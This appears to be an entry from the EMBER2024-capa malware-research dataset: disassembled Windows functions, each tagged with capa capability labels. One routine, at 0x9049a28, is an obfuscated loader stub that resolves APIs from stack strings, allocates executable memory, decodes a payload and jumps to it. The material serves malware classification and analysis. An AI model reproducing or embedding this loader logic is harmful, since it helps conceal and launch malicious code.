joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001f709
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10039dd1
mov eax, dword fs:[0]
push eax
mov eax, 0x2040
call fcn.10034b20
mov eax, dword [0x10047330]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
xor edi, edi
mov dword [ebp - 4], edi
push eax
mov dword [ebp - 0x2028], eax
mov dword [ebp - 0x202c], edi
call fcn.10018134
lea eax, [ebp - 0x201c]
push eax
push 8
push edi
xor esi, esi
push str.Softwareprojonepodlp_rptcache_rptstore_
inc esi
push reloc.WS2_32.dll_bind
mov dword [ebp - 0x202c], esi
mov dword [ebp - method.RegHandleHolder.virtual_0], vtable.RegHandleHolder.0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 4], esi
cmp dword [ebp - 0x201c], edi
je 0x1001f83a
xor eax, eax
push 0x1ffe
mov word [ebp - 0x2014], ax
lea eax, [ebp - 0x2012]
push edi
push eax
mov dword [ebp - 0x2018], edi
call fcn.10025820
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
add esp, 0xc
push edi
push edi
push edi
push edi
lea eax, [ebp - 0x2024]
push eax
lea eax, [ebp - 0x2014]
push eax
push edi
jmp 0x1001f824
inc dword [ebp - 0x2018]
lea eax, [ebp - 0x2014]
lea ecx, [ebp - 0x2048]
call fcn.10007590
lea eax, [ebp - 0x2048]
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x2028]
push eax
call fcn.1001f952
lea esi, [ebp - 0x2048]
mov byte [ebp - 4], 1
call fcn.10007600
push edi
push edi
push edi
push edi
lea eax, [ebp - 0x2024]
push eax
lea eax, [ebp - 0x2014]
push eax
push dword [ebp - 0x2018]
push dword [ebp - 0x201c]
mov dword [ebp - 0x2024], 0x1000
call ebx
test eax, eax
je 0x1001f7d0
mov dword [ebp - method.RegHandleHolder.virtual_0], vtable.RegHandleHolder.0
cmp dword [ebp - 0x201c], edi
je 0x1001f858
push dword [ebp - 0x201c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x2028]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.100232be
leave
ret

Function at 0x1001f878
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x190]
sub esp, 0x210
mov eax, dword [0x10047330]
xor eax, ebp
mov dword [ebp + 0x18c], eax
and dword [ebp - 0x80], 0
push ebx
lea eax, [ebp - 0x80]
push eax
push 0x23
xor ebx, ebx
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
jl 0x1001f8e5
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x7c], ax
lea eax, [ebp - 0x7a]
push eax
call fcn.10025820
add esp, 0xc
lea eax, [ebp - 0x7c]
push eax
push dword [ebp - 0x80]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
test eax, eax
je 0x1001f8e5
push 0x104
lea eax, [ebp - 0x7c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
inc ebx
cmp dword [ebp - 0x80], 0
je 0x1001f8f4
push dword [ebp - 0x80]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov ecx, dword [ebp + 0x18c]
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.100232be
add ebp, 0x190
leave
ret
Function at 0x10021a7d
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x190]
sub esp, 0x210
mov eax, dword [0x10047330]
xor eax, ebp
mov dword [ebp + 0x18c], eax
and dword [ebp - 0x80], 0
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x7c], ax
lea eax, [ebp - 0x7a]
push eax
call fcn.10025820
add esp, 0xc
push 0x104
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push str.Logsignored
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
lea eax, [ebp - 0x7c]
mov ecx, esi
call fcn.10007590
mov ecx, dword [ebp + 0x18c]
xor ecx, ebp
mov eax, esi
call fcn.100232be
add ebp, 0x190
leave
ret

Function at 0x10021c69
Capabilities:
Create thread

Disassembly:
push 8
mov eax, 0x10038870
call fcn.100240c4
xor edi, edi
mov dword [ebp - 4], edi
push 0x18
mov byte [ebp - 4], 1
call fcn.10023723
mov esi, eax
pop ecx
mov dword [ebp - 0x14], esi
mov byte [ebp - 4], 2
cmp esi, edi
je 0x10021cb3
mov ecx, dword [ebp + 0x18]
cmp ecx, edi
jne 0x10021c9f
mov dword [esi + 0x10], edi
jmp 0x10021cb5
lea eax, [ebp + 8]
cmp ecx, eax
mov eax, dword [ecx]
jne 0x10021cab
push esi
jmp 0x10021cac
push edi
call dword [eax]
mov dword [esi + 0x10], eax
jmp 0x10021cb5
xor esi, esi
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push esi
push 0x10021cf5
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
or dword [ebp - 4], 0xffffffff
lea esi, [ebp + 8]
mov edi, eax
call fcn.10001800
mov eax, edi
jmp 0x10021cef
call fcn.10024169
ret

Function at 0x10021f9b
Capabilities:
Delete registry value

Disassembly:
push 0x58
mov eax, 0x10039c18
call fcn.100240fa
lea eax, [ebp - 0x48]
push eax
mov edi, ecx
mov esi, edx
call fcn.1001efb3
pop ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x34], ebx
je 0x1002205a
cmp esi, ebx
jne 0x10021fcc
mov esi, 0x1003e9e6
cmp dword [ebp - 0x30], 8
mov eax, dword [ebp - 0x44]
jae 0x10021fd8
lea eax, [ebp - 0x44]
push edi
push esi
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
push eax
push str._s__hs__p
lea esi, [ebp - 0x2c]
call fcn.1001f368
add esp, 0x10
mov byte [ebp - 4], 1
cmp byte [ebp + 8], bl
je 0x10022035
lea eax, [ebp - 0x64]
push eax
call fcn.1001eea0
cmp dword [eax + 0x18], 8
pop ecx
jb 0x10022010
mov eax, dword [eax + 4]
jmp 0x10022013
add eax, 4
cmp dword [ebp - 0x14], 8
mov ebx, dword [ebp - 0x28]
jae 0x1002201f
lea ebx, [ebp - 0x28]
mov esi, eax
mov edi, 0x1004a800
call fcn.1001f41d
lea esi, [ebp - 0x64]
call fcn.10007600
jmp 0x10022052
cmp dword [ebp - 0x14], 8
mov eax, dword [ebp - 0x28]
jae 0x10022041
lea eax, [ebp - 0x28]
push eax
push 0x1004a800
push reloc.WS2_32.dll_bind
call dword [sym.imp.SHLWAPI.dll_SHDeleteValueW]
lea esi, [ebp - 0x2c]
call fcn.10007600
lea esi, [ebp - 0x48]
call fcn.10007600
call fcn.1002417d
ret 4
Function at 0x100222b7
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x10047330]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
dec eax
cmp eax, 0xc6
ja 0x10022351
push ebx
mov esi, 0x1004a800
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
xor eax, eax
push 0x206
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push ebx
push eax
call fcn.10025820
add esp, 0xc
mov edi, 0x104
push edi
lea eax, [ebp - 0x210]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ebx, dword [sym.imp.SHLWAPI.dll_StrCatBuffW]
push edi
push 0x10040288
push esi
call ebx
push edi
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
push eax
push esi
call ebx
push esi
push reloc.WS2_32.dll_bind
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
call fcn.10021de3
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100232be
leave
ret

Function at 0x100229d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 4
shl eax, 4
pop edx
mov esi, ecx
lea edi, [eax + ecx + 0x3c]
mov dword [ebp - 4], edx
xor eax, eax
mov ecx, edi
mov bl, byte [ecx]
xor byte [esi + eax], bl
inc eax
add ecx, edx
cmp eax, edx
jl 0x100229ea
inc edi
add esi, edx
dec dword [ebp - 4]
jne 0x100229e6
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10022b05
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x10047330]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 0x14]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 4
lea esi, [ebp - 8]
lea ecx, [eax + 4]
pop edi
mov al, byte [esi - 0xc]
mov dl, byte [esi - 8]
call fcn.10022ccb
mov bl, al
mov al, dl
call fcn.10022ccb
xor bl, al
xor bl, byte [esi - 4]
mov al, dl
xor bl, byte [esi]
xor bl, dl
mov byte [ecx - 4], bl
call fcn.10022ccb
mov bl, al
mov al, byte [esi - 4]
call fcn.10022ccb
xor bl, al
xor bl, byte [esi - 0xc]
mov al, byte [esi - 4]
xor bl, byte [esi]
xor bl, al
mov byte [ecx], bl
call fcn.10022ccb
mov bl, al
mov al, byte [esi]
call fcn.10022ccb
xor bl, al
mov al, byte [esi]
xor bl, dl
xor bl, byte [esi - 0xc]
xor bl, al
mov byte [ecx + 4], bl
call fcn.10022ccb
mov bl, al
mov al, byte [esi - 0xc]
call fcn.10022ccb
xor bl, al
xor bl, dl
xor bl, byte [esi - 4]
xor bl, byte [esi - 0xc]
inc ecx
mov byte [ecx + 7], bl
inc esi
dec edi
jne 0x10022b2d
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100232be
leave
ret 4
Function at 0x10022bba
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x10047330]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 0x14]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea edi, [ebp - 0x10]
lea esi, [eax + 4]
mov dword [ebp - 0x1c], 4
mov al, byte [edi - 4]
mov bl, byte [edi + 4]
call fcn.10022d47
push ebx
mov dl, al
call fcn.10022d20
xor dl, al
movzx eax, byte [edi + 8]
push eax
call fcn.10022cdb
xor dl, al
movzx eax, byte [edi]
push eax
call fcn.10022cf9
xor dl, al
movzx eax, byte [edi - 4]
push eax
mov byte [esi - 4], dl
call fcn.10022cdb
push ebx
mov byte [ebp - 0x15], al
call fcn.10022cf9
mov cl, byte [ebp - 0x15]
xor cl, al
movzx eax, byte [edi + 8]
push eax
mov byte [ebp - 0x15], cl
call fcn.10022d20
mov cl, byte [ebp - 0x15]
xor cl, al
mov al, byte [edi]
mov byte [ebp - 0x15], cl
call fcn.10022d47
mov cl, byte [ebp - 0x15]
xor cl, al
movzx eax, byte [edi - 4]
push eax
mov byte [esi], cl
call fcn.10022d20
mov bl, al
mov al, byte [edi + 4]
call fcn.10022d47
movzx edx, byte [edi + 8]
push edx
xor bl, al
call fcn.10022cf9
xor bl, al
movzx eax, byte [edi]
push eax
call fcn.10022cdb
xor bl, al
movzx eax, byte [edi - 4]
push eax
mov byte [esi + 4], bl
call fcn.10022cf9
mov bl, al
movzx eax, byte [edi + 4]
push eax
call fcn.10022cdb
xor bl, al
mov al, dl
call fcn.10022d47
xor bl, al
movzx eax, byte [edi]
push eax
call fcn.10022d20
xor bl, al
mov byte [esi + 8], bl
inc esi
inc edi
dec dword [ebp - 0x1c]
jne 0x10022be6
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100232be
leave
ret 4
Function at 0x1002307d
Capabilities:
Decode data using base64 via dword translation table

Disassembly:
push 0x2c
mov eax, 0x10038c84
call fcn.100240fa
mov eax, dword [ebp + 8]
mov dword [ebp - 0x38], eax
xor ebx, ebx
mov eax, edi
mov dword [ebp - 0x30], ebx
xor esi, esi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x1002309b
sub eax, ecx
push ebx
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x14], 0xf
call fcn.10001c20
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x30], ebx
jbe 0x1002319a
movsx eax, byte [esi + edi]
mov al, byte [eax + 0x1003f858]
inc esi
cmp esi, dword [ebp - 0x30]
jae 0x100230d7
cmp al, 0xff
je 0x100230c3
cmp al, 0xff
je 0x1002319a
movsx ecx, byte [esi + edi]
mov cl, byte [ecx + 0x1003f858]
inc esi
mov byte [ebp - 0x32], cl
cmp esi, dword [ebp - 0x30]
jae 0x100230f7
cmp cl, 0xff
je 0x100230df
cmp cl, 0xff
je 0x1002319a
sar cl, 4
shl al, 2
and cl, 3
or cl, al
movzx eax, cl
push eax
xor eax, eax
inc eax
lea ebx, [ebp - 0x2c]
call fcn.10018cc5
mov al, byte [esi + edi]
inc esi
cmp al, 0x3d
je 0x1002319a
movsx eax, al
mov al, byte [eax + 0x1003f858]
mov byte [ebp - 0x31], al
cmp esi, dword [ebp - 0x30]
jae 0x10023137
cmp al, 0xff
je 0x1002311a
cmp al, 0xff
je 0x1002319a
mov cl, al
mov al, byte [ebp - 0x32]
sar cl, 2
shl al, 4
and cl, 0xf
or cl, al
movzx eax, cl
push eax
xor eax, eax
inc eax
lea ebx, [ebp - 0x2c]
call fcn.10018cc5
mov al, byte [esi + edi]
inc esi
cmp al, 0x3d
je 0x1002319a
movsx eax, al
mov cl, byte [eax + 0x1003f858]
cmp esi, dword [ebp - 0x30]
jae 0x10023175
cmp cl, 0xff
je 0x1002315a
cmp cl, 0xff
je 0x1002319a
mov al, byte [ebp - 0x31]
shl al, 6
or al, cl
movzx eax, al
push eax
xor eax, eax
inc eax
lea ebx, [ebp - 0x2c]
call fcn.10018cc5
cmp esi, dword [ebp - 0x30]
jb 0x100230c3
mov ecx, dword [ebp - 0x38]
lea eax, [ebp - 0x2c]
push eax
call fcn.10001700
lea ecx, [ebp - 0x2c]
call fcn.10001730
mov eax, dword [ebp - 0x38]
call fcn.1002417d
ret

Function at 0x100232be
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10047330]
jne 0x100232c8
repz ret
jmp fcn.10025613
Function at 0x1002e385
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.1002590c
and dword [ebp - 4], 0
cmp dword [0x1004a20c], 0
mov ebx, eax
jne 0x1002e436
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x1002e4e7
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x1002e4e7
push eax
call fcn.1002589a
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x1004a20c], eax
call esi
push eax
call fcn.1002589a
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x1004a210], eax
call esi
push eax
call fcn.1002589a
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x1004a214], eax
call esi
push eax
call fcn.1002589a
pop ecx
mov dword [0x1004a21c], eax
test eax, eax
je 0x1002e436
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.1002589a
pop ecx
mov dword [0x1004a218], eax
mov eax, dword [0x1004a218]
cmp eax, ebx
je 0x1002e48e
cmp dword [0x1004a21c], ebx
je 0x1002e48e
push eax
call fcn.10025915
push dword [0x1004a21c]
mov esi, eax
call fcn.10025915
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x1002e48e
test edi, edi
je 0x1002e48e
call esi
test eax, eax
je 0x1002e485
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x1002e485
test byte [ebp - 0xc], 1
jne 0x1002e48e
or dword [ebp + 0x10], 0x200000
jmp 0x1002e4c7
mov eax, dword [0x1004a210]
cmp eax, ebx
je 0x1002e4c7
push eax
call fcn.10025915
pop ecx
test eax, eax
je 0x1002e4c7
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x1002e4c7
mov eax, dword [0x1004a214]
cmp eax, ebx
je 0x1002e4c7
push eax
call fcn.10025915
pop ecx
test eax, eax
je 0x1002e4c7
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x1004a20c]
call fcn.10025915
pop ecx
test eax, eax
je 0x1002e4e7
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x1002e4e9
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x900c236
Capabilities:
Get common file path

Disassembly:
push 0x224
mov eax, 0x90a819f
call fcn.09007445
cmp byte [ebp + 0x10], 0
mov edi, dword [ebp + 8]
push 0x1a
pop esi
push 0x2b
pop eax
cmove esi, eax
xor ebx, ebx
push 0x208
lea eax, [ebp - 0x218]
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
mov eax, esi
or eax, 0x8000
cmp byte [ebp + 0xc], bl
push ebx
push ebx
cmovne esi, eax
push esi
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x900c292
xor al, al
jmp 0x900c2e2
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x230]
call fcn.0900cf2c
push dword [ebp + 0xc]
lea ecx, [ebp - 0x230]
mov dword [ebp - 4], ebx
push str.Adobe
call fcn.0900d7af
test al, al
je 0x900c2d5
lea eax, [ebp - 0x230]
mov ecx, edi
push eax
call fcn.09049a28
mov ecx, edi
call fcn.0900e6d7
mov bl, al
lea ecx, [ebp - 0x230]
call fcn.09049a28
mov al, bl
call fcn.090091e6
ret
Function at 0x903d7c6
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0x1f8
mov eax, 0x90a9b67
call fcn.09007445
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x1fc]
mov esi, dword [ebp + 0x18]
mov edi, dword [ebp + 0x14]
push 0x80
push 0
push eax
mov dword [ebp - 0x200], ebx
call sub.VCRUNTIME140.dll_memset
mov eax, dword [ebp + 0xc]
mov ecx, 0x41444245
and dword [ebp - 0x1bc], 0
mov dword [ebp - 0x1ec], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1e8], eax
lea eax, [ebp - 0x1e4]
push 1
push eax
mov dword [ebp - 0x1f8], ecx
mov dword [ebp - 0x1f4], 0x4000000
mov dword [ebp - 0x1f0], 0x6c696e6b
mov dword [ebp - 0x1d8], 0x61637370
mov dword [ebp - 0x1b8], 0xf6d6
mov dword [ebp - 0x1b4], 0x10000
mov dword [ebp - 0x1b0], 0xd32d
mov dword [ebp - 0x1ac], ecx
call fcn.09007585
add esp, 0x14
lea eax, [ebp - 0x1fc]
lea ecx, [ebp - 0x17c]
push eax
push ebx
call fcn.09049a28
push str.ACE_Device_Link
push ebx
lea ecx, [ebp - 0x74]
call fcn.0903a1fe
and dword [ebp - 4], 0
lea eax, [ebp - 0x74]
test esi, esi
lea ecx, [ebp - 0x17c]
cmovne eax, esi
push eax
call fcn.09049a28
push dword [ebp - 0x1e4]
lea ecx, [ebp - 0x4c]
push ebx
call fcn.09039fb0
lea eax, [ebp - 0x4c]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x17c]
call fcn.09049a28
lea ecx, [ebp - 0x24]
call fcn.09049a28
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x17c]
call fcn.09049a28
push edi
lea ecx, [ebp - 0x17c]
call fcn.09049a28
lea ecx, [ebp - 0x17c]
call fcn.0900955c
mov ecx, dword [ebp - 0x200]
mov edi, eax
mov ebx, dword [edi + 0x28]
push ebx
call fcn.09049a28
mov ecx, dword [edi]
push eax
push ebx
push 0
mov esi, dword [ecx + 0x18]
mov ecx, esi
mov dword [ebp - 0x204], eax
call dword [0x90ae2d0]
mov ecx, edi
call esi
mov ecx, edi
call fcn.0900642e
mov edi, dword [ebp - 0x204]
push ebx
push edi
call fcn.09049a28
push ebx
mov ebx, dword [ebp - 0x200]
push edi
push ebx
call fcn.09049a28
add esp, 0x14
mov ecx, ebx
mov esi, eax
push edi
call fcn.09049a28
lea ecx, [ebp - 0x4c]
mov dword [ebp - 0x24], vtable.CProfileTag.0
mov byte [ebp - 4], 0
call fcn.0903ab60
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x74]
call fcn.0903ac7e
mov eax, esi
call fcn.090091e6
ret
Function at 0x9049a28
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x9049a37
pop dword [ebp - 0x50]
mov eax, 0x1333075b
add eax, 0xf5d192dc
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x4c359e1f
add dword [ebp - 0x60], 0x21ca72c
mov dword [ebp - 0x5c], 0x94924599
sub dword [ebp - 0x5c], 0x625ef954
mov dword [ebp - 0x58], 0x6148b70d
sub dword [ebp - 0x58], 0x14fc72df
mov dword [ebp - 0x54], 0x5c84f3dc
add dword [ebp - 0x54], 0xa37b0c24
lea eax, [ebp - 0x60]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x8e02ce7e
sub dword [ebp - 0x60], 0x19906528
mov dword [ebp - 0x5c], 0x98bd2581
sub dword [ebp - 0x5c], 0x5750c40c
mov dword [ebp - 0x58], 0xacb573ab
sub dword [ebp - 0x58], 0x4946073f
mov dword [ebp - 0x54], 0x47e80466
sub dword [ebp - 0x54], 0x47e80466
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0x7f07102
sub eax, 0xfee590b2
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x63b2a
push 0
call eax
mov ecx, 0x4cae
xor esi, esi
add esi, eax
mov edi, 0x686535b1
sub edi, 0x5f55f5b1
add edi, dword [ebp - 0x50]
mov edx, 0x1ed11ae6
add edx, 0xa57e30d
mov dword [ebp - 0x38], 0x6c3e2659
mov ebx, dword [edi]
sub dword [ebp - 0x40], 0x4004811
sub ebx, edx
xor dword [ebp - 0x4c], 0x74cb2105
mov dword [esi], ebx
mov dword [ebp - 0x14], 0x83d865a3
add esi, 0x37c76e1f
sub esi, 0x37c76e1b
add edi, 4
loop 0x9049b50
add eax, 0x86484d89
add eax, 0x79b8d802
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x9000000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret

Function at 0x90500f8
Capabilities:
Get memory capacity

Disassembly:
push 0x28
mov eax, 0x90aab4f
call fcn.0900578b
mov esi, ecx
lea eax, [ebp - 0x34]
mov dword [ebp - 0x34], 0x20
push eax
call dword [sym.imp.kernel32.dll_GlobalMemoryStatus]
mov eax, dword [ebp - 0x24]
xor ecx, ecx
sub eax, dword [ebp - 0x20]
sub eax, dword [esi + 8]
sbb ecx, dword [esi + 0xc]
js 0x9050163
jg 0x905012d
test eax, eax
jb 0x9050163
mov edx, dword [esi + 4]
imul edi, edx, 3
test ecx, ecx
jg 0x9050163
jl 0x905013d
cmp eax, edi
ja 0x9050163
cmp eax, edx
jbe 0x9050157
mov ecx, dword [esi]
sub eax, edx
and dword [ebp - 4], 0
push eax
call fcn.09049a28
jmp 0x9050163
jae 0x9050163
mov ecx, dword [esi]
sub edx, eax
push edx
call fcn.09049a28
call fcn.0900625f
ret
Function at 0x906c6ef
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x148
mov eax, 0x90abd2c
call fcn.09007445
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x14c]
push eax
xor ebx, ebx
mov esi, 0x20019
push esi
push ebx
push str.SOFTWARE
push 0x80000002
mov dword [ebp - 0x14c], ebx
mov dword [ebp - 0x148], ebx
mov dword [ebp - 0x144], ebx
mov dword [ebp - 0x13c], ebx
mov dword [ebp - 0x140], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x906c74e
mov dword [ebp - 0x14c], ebx
jmp 0x906c8cd
lea eax, [ebp - 0x148]
push eax
push esi
push ebx
push str.Adobe
push dword [ebp - 0x14c]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x906c777
mov dword [ebp - 0x148], ebx
jmp 0x906c8cd
lea eax, [ebp - 0x144]
push eax
push esi
push ebx
push str.Color
push dword [ebp - 0x148]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x906c7a0
mov dword [ebp - 0x144], ebx
jmp 0x906c8cd
lea eax, [ebp - 0x13c]
push eax
push esi
push ebx
push str.Monitor
push dword [ebp - 0x144]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x906c7c9
mov dword [ebp - 0x13c], ebx
jmp 0x906c8cd
lea eax, [ebp - 0x150]
mov dword [ebp - 0x150], 0x104
push eax
lea eax, [ebp - 0x120]
mov esi, ebx
push eax
lea eax, [ebp - 0x154]
push eax
push ebx
push str.Primary_Monitor
push dword [ebp - 0x13c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x906c81b
cmp dword [ebp - 0x154], 4
jne 0x906c81b
mov esi, dword [ebp - 0x120]
cmp esi, 0x3e7
ja 0x906c8cd
push esi
push str.Monitor_u
lea eax, [ebp - 0x1c]
push 0xb
push eax
call fcn.09049a28
add esp, 0x10
lea eax, [ebp - 0x140]
push eax
push 0x20019
push ebx
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x13c]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x906c85b
mov dword [ebp - 0x140], ebx
jmp 0x906c8e2
lea eax, [ebp - 0x150]
mov dword [ebp - 0x150], 0x104
push eax
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x154]
push eax
push ebx
push str.Monitor_Profile
push dword [ebp - 0x140]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x906c8cd
cmp dword [ebp - 0x154], 1
jne 0x906c8cd
lea eax, [ebp - 0x120]
push eax
lea ecx, [ebp - 0x138]
call fcn.090169c5
lea eax, [ebp - 0x138]
mov dword [ebp - 4], ebx
push eax
mov ecx, edi
call fcn.09049a28
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x138]
call fcn.09049a28
mov bl, 1
cmp dword [ebp - 0x140], 0
je 0x906c8e2
push dword [ebp - 0x140]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x13c], 0
je 0x906c8f7
push dword [ebp - 0x13c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x144], 0
je 0x906c90c
push dword [ebp - 0x144]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x148], 0
je 0x906c921
push dword [ebp - 0x148]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x14c], 0
je 0x906c936
push dword [ebp - 0x14c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
call fcn.090091e6
ret